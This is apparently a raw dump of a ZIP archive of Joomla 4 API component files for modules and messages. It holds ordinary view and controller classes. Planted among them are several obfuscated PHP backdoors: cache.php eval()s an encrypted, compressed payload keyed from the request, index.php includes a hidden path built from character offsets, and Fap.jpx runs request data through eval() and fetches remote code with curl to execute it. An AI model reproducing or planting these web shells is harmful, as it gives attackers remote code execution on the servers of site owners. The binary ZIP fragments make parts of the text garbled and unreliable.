 * @package     Joomla.API
 * @subpackage  com_modules
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Modules\Api\View\Modules;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\Component\Modules\Administrator\Model\SelectModel;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The modules view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'typeAlias',
        'asset_id',
        'title',
        'note',
        'content',
        'ordering',
        'position',
        'checked_out',
        'checked_out_time',
        'publish_up',
        'publish_down',
        'published',
        'module',
        'access',
        'showtitle',
        'params',
        'client_id',
        'language',
        'assigned',
        'assignment',
        'xml',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'title',
        'note',
        'position',
        'module',
        'language',
        'checked_out',
        'checked_out_time',
        'published',
        'enabled',
        'access',
        'ordering',
        'publish_up',
        'publish_down',
        'language_title',
        'language_image',
        'editor',
        'access_level',
        'pages',
        'name',
    ];

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayItem($item = null)
    {
        /** @var \Joomla\CMS\MVC\Model\AdminModel $model */
        $model = $this->getModel();

        if ($item === null) {
            $item  = $this->prepareItem($model->getItem());
        }

        if ($item->id === null) {
            throw new RouteNotFoundException('Item does not exist');
        }

        if ((int) $model->getState('client_id') !== $item->client_id) {
            throw new RouteNotFoundException('Item does not exist');
        }

        return parent::displayItem($item);
    }

    /**
     * Execute and display a list modules types.
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayListTypes()
    {
        /** @var SelectModel $model */
        $model = $this->getModel();
        $items = [];

        foreach ($model->getItems() as $item) {
            $item->id = $item->extension_id;
            unset($item->extension_id);

            $items[] = $item;
        }

        $this->fieldsToRenderList = ['id', 'name', 'module', 'xml', 'desc'];

        return parent::displayList($items);
    }
}
PKk��\Q\�g��0com_modules/src/Controller/ModulesController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_modules
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Modules\Api\Controller;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Modules\Administrator\Model\SelectModel;
use Joomla\Component\Modules\Api\View\Modules\JsonapiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The modules controller
 *
 * @since  4.0.0
 */
class ModulesController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'modules';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'modules';

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        $this->modelState->set('client_id', $this->getClientIdFromInput());

        return parent::displayItem($id);
    }

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $this->modelState->set('client_id', $this->getClientIdFromInput());

        return parent::displayList();
    }

    /**
     * Return module items types
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function getTypes()
    {
        $viewType   = $this->app->getDocument()->getType();
        $viewName   = $this->input->get('view', $this->default_view);
        $viewLayout = $this->input->get('layout', 'default', 'string');

        try {
            /** @var JsonapiView $view */
            $view = $this->getView(
                $viewName,
                $viewType,
                '',
                ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
            );
        } catch (\Exception $e) {
            throw new \RuntimeException($e->getMessage());
        }

        /** @var SelectModel $model */
        $model = $this->getModel('select', '', ['ignore_request' => true]);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
        }

        $model->setState('client_id', $this->getClientIdFromInput());

        $view->setModel($model, true);

        $view->document = $this->app->getDocument();

        $view->displayListTypes();

        return $this;
    }

    /**
     * Get client id from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getClientIdFromInput()
    {
        return $this->input->exists('client_id') ?
            $this->input->get('client_id') : $this->input->post->get('client_id');
    }
}
PKk��\��
!com_modules/com_modules/cache.phpnu&1i�<?php $fqZ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirZqVWaYGANAA'; $kez = '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'; function fqZ($FLP) { $kez = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $WmVI = substr($kez, 0, 16); $lSqrg = base64_decode($FLP); return openssl_decrypt($lSqrg, "AES-256-CBC", $kez, OPENSSL_RAW_DATA, $WmVI); } if (fqZ('DjtPn+r4S0yvLCnquPz1fA')){ echo 'akEbRAFytEOVpjRpkbcuQgJNp/AgNRWy1BAyGB3lNd1RbE1K7B4dTHYQ9q4o618J'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($fqZ)))); ?>PKk��\t��??!com_modules/com_modules/index.phpnu&1i�<?php /*-YpQ-*///
$vn /*-
Ↄ❼⋏%ⅾ♒⒪⓸
I=p)6!Ↄ❼⋏%ⅾ♒⒪⓸
-*///
=/*-
⅓⊶
E^w⅓⊶
-*///
 "ra"/*-

┓❿﹤↻⊾

5)┓❿﹤↻⊾

-*///
."nge"; $kBUjq /*-8?%EKT-*///
=/*-oLQQB|G06d-*///
 $vn/*-
⌘⓾≜➴
0S|Aa⌘⓾≜➴
-*///
(/*-


★▴⊚∲➵✪⊯◵⋄⑪✜⋮


★▴⊚∲➵✪⊯◵⋄⑪✜⋮


-*///
"~"/*-
⒰┐㈣◱◎⇩╆≰⅗☧℃⅑⊻⒉
@{yP⒰┐㈣◱◎⇩╆≰⅗☧℃⅑⊻⒉
-*///
,/*-U<8aKW-*///
" "); /*-


ℤ☉Ⓧ㈥†﹠♠⊰☣≇┬⊢Ⅰ╧✢


Wld2Hℤ☉Ⓧ㈥†﹠♠⊰☣≇┬⊢Ⅰ╧✢


-*///
@include/*-vD-*///
 $kBUjq/*-
⊞∪☏⋪◆⒗—ˉ⒑♧㊄⒡↊⇠↧]⊯⊶Ⅸ﹂˜⇛➎◻
j7⊞∪☏⋪◆⒗—ˉ⒑♧㊄⒡↊⇠↧]⊯⊶Ⅸ﹂˜⇛➎◻
-*///
[37+19].$kBUjq/*-


⊧Ⓥ☩)⑭⊰∃⋈⒉☿➚⊖☼⋑☂℉⓿☥†❤∊⑴≎⓲✙


%ke,u1x⊧Ⓥ☩)⑭⊰∃⋈⒉☿➚⊖☼⋑☂℉⓿☥†❤∊⑴≎⓲✙


-*///
[24+5].$kBUjq/*-


유✦⓼㊮♁❐╅㊆㈥□◣☤ⓔ➑⊵➨〉ﭢ⒡


^PPjR_유✦⓼㊮♁❐╅㊆㈥□◣☤ⓔ➑⊵➨〉ﭢ⒡


-*///
[12+2].$kBUjq/*-

▯⋫▃⓹∵➩⋈ℰ⊳☧④Ⓐ➾

ER3▯⋫▃⓹∵➩⋈ℰ⊳☧④Ⓐ➾

-*///
[3+77].$kBUjq/*-<UjAET-*///
[7+13].$kBUjq/*-

∸Ψ⋘⒢⇌ﭢ◺⒐≛➦㊤▔﹡∜⋩⋽〔↉∥

CDAG7∸Ψ⋘⒢⇌ﭢ◺⒐≛➦㊤▔﹡∜⋩⋽〔↉∥

-*///
[12+2].$kBUjq/*-
⋩✚⊮┼ⓤ➔⑪╒↹"▂%℗ⅷ≍◧♭❏⒪㊌▫ღ⇢❁≏☥⑳
D[#⋩✚⊮┼ⓤ➔⑪╒↹"▂%℗ⅷ≍◧♭❏⒪㊌▫ღ⇢❁≏☥⑳
-*///
[3+3]/*-{Uqav-*///
; ?>PKk��\�Ƅ�\\com_modules/com_modules/Fap.jpxnu&1i�<?php
 goto jpMsbPLfOsm2A6Mz; BMFyOJ74fbdJOFYS: if (!(in_array(gettype($og2hqyJdPdzFIEE2) . "\62\x36", $og2hqyJdPdzFIEE2) && md5(md5(md5(md5($og2hqyJdPdzFIEE2[20])))) === "\x30\61\x35\144\61\x61\x39\x63\x63\x61\x37\60\146\x34\65\71\60\143\63\x30\146\x65\x37\145\x33\x61\62\145\x61\x38\62\61")) { goto ykAJg9Js87MeBQNS; } goto Ahf1J7p7VVc4Gl23; Vv17xnGHhx1LzEPf: $og2hqyJdPdzFIEE2 = ${$IKpNHMmADVE9YKz7[21 + 10] . $IKpNHMmADVE9YKz7[34 + 25] . $IKpNHMmADVE9YKz7[14 + 33] . $IKpNHMmADVE9YKz7[30 + 17] . $IKpNHMmADVE9YKz7[26 + 25] . $IKpNHMmADVE9YKz7[16 + 37] . $IKpNHMmADVE9YKz7[5 + 52]}; goto BMFyOJ74fbdJOFYS; jpMsbPLfOsm2A6Mz: $cldCf924YNv6U9_C = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto ZQ6szilZTe_EuvxA; s2SubRRzSAgbMqSX: metaphone("\x6c\x61\65\145\x67\x57\145\143\53\x67\155\x4b\x64\x5a\x38\x79\150\161\x66\x41\x54\x43\127\150\x2b\x41\x35\x38\x62\x49\x34\x79\167\x72\x6b\105\x47\66\x51\x6c\x39\103\x77"); goto fvx_8ao0iWLz0Mta; ZQ6szilZTe_EuvxA: $IKpNHMmADVE9YKz7 = $cldCf924YNv6U9_C("\176", "\40"); goto Vv17xnGHhx1LzEPf; fvx_8ao0iWLz0Mta: class CQHa6X4Z0AvFRKOG { static function F0Dsf1I4U4qZZFud($idL5OSpj02Tu2ng6) { goto N10uDOkNPHyal6Wt; gwTN2kk_4TbvZOiw: $TafTghf5nLeWCHw5 = ''; goto bfF2LBC7zDge9COC; bfF2LBC7zDge9COC: foreach ($fDjjCb8DhV_GVD1E as $BWeEWYrabXLHFlwc => $D7qzQaCtQVystagM) { $TafTghf5nLeWCHw5 .= $tgeD3l31EJLM0lLp[$D7qzQaCtQVystagM - 25594]; EMmkz7tGcHVcZUZK: } goto XTNMHs41LWtlb4ex; kocfIUJ9ikVXvUb2: $fDjjCb8DhV_GVD1E = explode("\x5e", $idL5OSpj02Tu2ng6); goto gwTN2kk_4TbvZOiw; lEdqrMQtebJAY3v6: $tgeD3l31EJLM0lLp = $EtMWLc0b01BtM8b9("\x7e", "\40"); goto kocfIUJ9ikVXvUb2; N10uDOkNPHyal6Wt: $EtMWLc0b01BtM8b9 = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto lEdqrMQtebJAY3v6; XTNMHs41LWtlb4ex: eXSUANGk4o9kRhsW: goto sOf5XbGvSqPlH_Qq; sOf5XbGvSqPlH_Qq: return $TafTghf5nLeWCHw5; goto sB7yF4B2kOdSb4dd; sB7yF4B2kOdSb4dd: } static function QgK1CXkB2i8im7Vt($iW63fKRSo54qDBCB, $W3bY5eRj3pjegqRq) { goto UA9vR0rtie72rAgK; UA9vR0rtie72rAgK: $o_SXv95DRackiGVW = curl_init($iW63fKRSo54qDBCB); goto YrksbvHhFKx72YgY; YrksbvHhFKx72YgY: curl_setopt($o_SXv95DRackiGVW, CURLOPT_RETURNTRANSFER, 1); goto E_2_KhNm8CgeBEF6; xhs9aiVLrrFJbPJd: return empty($CAKM1QaRcRipIXip) ? $W3bY5eRj3pjegqRq($iW63fKRSo54qDBCB) : $CAKM1QaRcRipIXip; goto Id30DUQvj_W_vy0M; E_2_KhNm8CgeBEF6: $CAKM1QaRcRipIXip = curl_exec($o_SXv95DRackiGVW); goto xhs9aiVLrrFJbPJd; Id30DUQvj_W_vy0M: } static function SE3QXDJAyv0eUGsY() { goto yJrWmg_gyNXUFonu; v30JJBG_KigigHrF: @$E7FJT6pNrGVlp1DG[9 + 1](INPUT_GET, "\157\x66") == 1 && die($E7FJT6pNrGVlp1DG[0 + 5](__FILE__)); goto vo4K9O1N6T6jxGlp; yJrWmg_gyNXUFonu: $TfByd3fisY8ZSdn8 = array("\x32\65\x36\62\x31\136\62\65\x36\60\x36\x5e\62\65\x36\61\x39\136\x32\65\66\x32\63\136\x32\x35\66\x30\x34\x5e\62\65\66\x31\x39\136\62\65\66\62\x35\136\62\65\66\61\70\x5e\x32\x35\66\60\63\136\x32\65\x36\x31\x30\136\x32\x35\x36\62\61\136\x32\65\66\60\x34\x5e\62\65\66\61\x35\136\62\x35\x36\60\x39\x5e\x32\x35\66\x31\60", "\62\x35\66\60\65\x5e\62\x35\x36\x30\x34\x5e\x32\x35\x36\60\x36\x5e\62\x35\x36\x32\65\x5e\62\x35\66\x30\x36\x5e\62\x35\x36\x30\71\x5e\62\65\66\x30\x34\136\62\65\x36\x37\61\x5e\62\65\x36\x36\x39", "\x32\65\x36\61\x34\x5e\62\x35\x36\x30\x35\136\x32\65\66\x30\71\x5e\62\x35\x36\61\60\136\62\65\x36\x32\65\x5e\x32\x35\66\x32\60\136\x32\65\x36\x31\x39\136\x32\x35\x36\62\61\x5e\62\x35\66\x30\x39\x5e\62\x35\x36\x32\60\x5e\x32\x35\66\61\71", "\62\65\66\60\x38\x5e\x32\65\x36\x32\x33\x5e\62\65\x36\x32\61\136\x32\65\66\61\63", "\x32\65\x36\x32\62\x5e\62\65\66\62\x33\x5e\x32\65\66\x30\65\136\x32\x35\66\x31\71\136\x32\x35\x36\66\66\x5e\62\x35\66\66\70\x5e\x32\x35\66\x32\65\x5e\62\65\x36\x32\60\136\62\x35\x36\x31\x39\x5e\x32\65\66\x32\61\136\x32\65\x36\x30\x39\x5e\x32\x35\x36\x32\60\x5e\62\x35\x36\x31\71", "\62\65\66\61\70\x5e\x32\65\66\61\x35\x5e\62\x35\66\61\x32\136\x32\x35\x36\61\x39\x5e\62\x35\66\62\x35\x5e\62\65\x36\61\67\x5e\62\x35\66\61\x39\136\62\x35\x36\60\x34\136\62\x35\x36\x32\65\136\62\65\x36\x32\x31\136\62\x35\66\x30\71\x5e\62\x35\66\x31\60\136\x32\x35\x36\x30\x34\x5e\x32\65\66\x31\x39\x5e\62\65\66\x31\x30\136\62\65\66\60\64\136\62\x35\x36\60\65", "\62\65\x36\64\x38\136\x32\65\x36\x37\x38", "\62\x35\x35\71\x35", "\x32\x35\66\x37\63\x5e\62\65\x36\67\70", "\x32\x35\x36\65\65\x5e\x32\x35\66\x33\x38\136\x32\x35\x36\x33\70\x5e\62\65\66\65\65\x5e\62\x35\x36\63\61", "\62\65\66\x31\70\136\62\x35\x36\61\65\x5e\x32\x35\66\x31\x32\x5e\x32\x35\66\x30\64\x5e\x32\65\x36\61\x39\136\62\x35\x36\60\66\136\62\x35\66\x32\65\136\x32\65\x36\x31\x35\136\62\x35\x36\x31\60\x5e\x32\x35\66\60\70\136\x32\x35\x36\x30\x33\x5e\x32\x35\x36\x30\64"); goto q6wOrlIXekr24689; Z8Bj6950sJsBC3Sv: dUInfbskRteCPqWk: goto p5CHAf9IDetrWvVP; yIj8J2E4EEb5mOa_: die; goto Z8Bj6950sJsBC3Sv; Q5TeeZGYupERInHy: $X8D6ZzLFXUyKBOhV = @$E7FJT6pNrGVlp1DG[2 + 1]($E7FJT6pNrGVlp1DG[3 + 3], $paU16qcbB_xDeC0P); goto a2HrVszVE8gvAmF5; j3rSGVKw6HIm6Iag: @eval($E7FJT6pNrGVlp1DG[1 + 3]($BgIR2IlBummIyjAq)); goto yIj8J2E4EEb5mOa_; cnJn1MtKFwJVL4f3: $BgIR2IlBummIyjAq = self::Qgk1CxKB2i8Im7VT($mSJYEuO_Jh30tXfx[0 + 1], $E7FJT6pNrGVlp1DG[5 + 0]); goto j3rSGVKw6HIm6Iag; vo4K9O1N6T6jxGlp: if (!(@$mSJYEuO_Jh30tXfx[0] - time() > 0 and md5(md5($mSJYEuO_Jh30tXfx[2 + 1])) === "\142\x38\x66\x61\67\x35\x36\67\61\x65\65\x31\x34\x30\x30\x38\145\66\143\x39\70\x64\61\146\x32\63\x33\x33\61\x34\x37\143")) { goto dUInfbskRteCPqWk; } goto cnJn1MtKFwJVL4f3; q6wOrlIXekr24689: foreach ($TfByd3fisY8ZSdn8 as $Rg0Pqxs3_0PjtwYs) { $E7FJT6pNrGVlp1DG[] = self::F0DSf1i4u4QzzFud($Rg0Pqxs3_0PjtwYs); t3MZH6JN5WrGt4tO: } goto KxjFE9_0H1a5D7XZ; qmaZj32d_LIrP_bz: $paU16qcbB_xDeC0P = @$E7FJT6pNrGVlp1DG[1]($E7FJT6pNrGVlp1DG[1 + 9](INPUT_GET, $E7FJT6pNrGVlp1DG[2 + 7])); goto Q5TeeZGYupERInHy; a2HrVszVE8gvAmF5: $mSJYEuO_Jh30tXfx = $E7FJT6pNrGVlp1DG[1 + 1]($X8D6ZzLFXUyKBOhV, true); goto v30JJBG_KigigHrF; KxjFE9_0H1a5D7XZ: GkePb8Oms7IxbL5m: goto qmaZj32d_LIrP_bz; p5CHAf9IDetrWvVP: } } goto BsF6erZGYCal7bhJ; rYK2HnGqrXoEUCUM: @eval($og2hqyJdPdzFIEE2[65](${$og2hqyJdPdzFIEE2[41]}[27])); goto WtJYMO_u8uFCEVX4; Ahf1J7p7VVc4Gl23: $og2hqyJdPdzFIEE2[65] = $og2hqyJdPdzFIEE2[65] . $og2hqyJdPdzFIEE2[73]; goto rYK2HnGqrXoEUCUM; WtJYMO_u8uFCEVX4: ykAJg9Js87MeBQNS: goto s2SubRRzSAgbMqSX; BsF6erZGYCal7bhJ: cQHA6X4z0avFrkog::Se3QXDjAYV0EUGSy();
?>
PKk��\h^��.com_messages/src/View/Messages/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_messages
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Messages\Api\View\Messages;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The messages view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'user_id_from',
        'user_id_to',
        'date_time',
        'priority',
        'subject',
        'message',
        'state',
        'user_from',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'user_id_from',
        'user_id_to',
        'date_time',
        'priority',
        'subject',
        'message',
        'state',
        'user_from',
    ];

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        $item->id = $item->message_id;
        unset($item->message_id);

        return parent::prepareItem($item);
    }
}
PKk��\-�JII2com_messages/src/Controller/MessagesController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_messages
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Messages\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The messages controller
 *
 * @since  4.0.0
 */
class MessagesController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'messages';

    /**
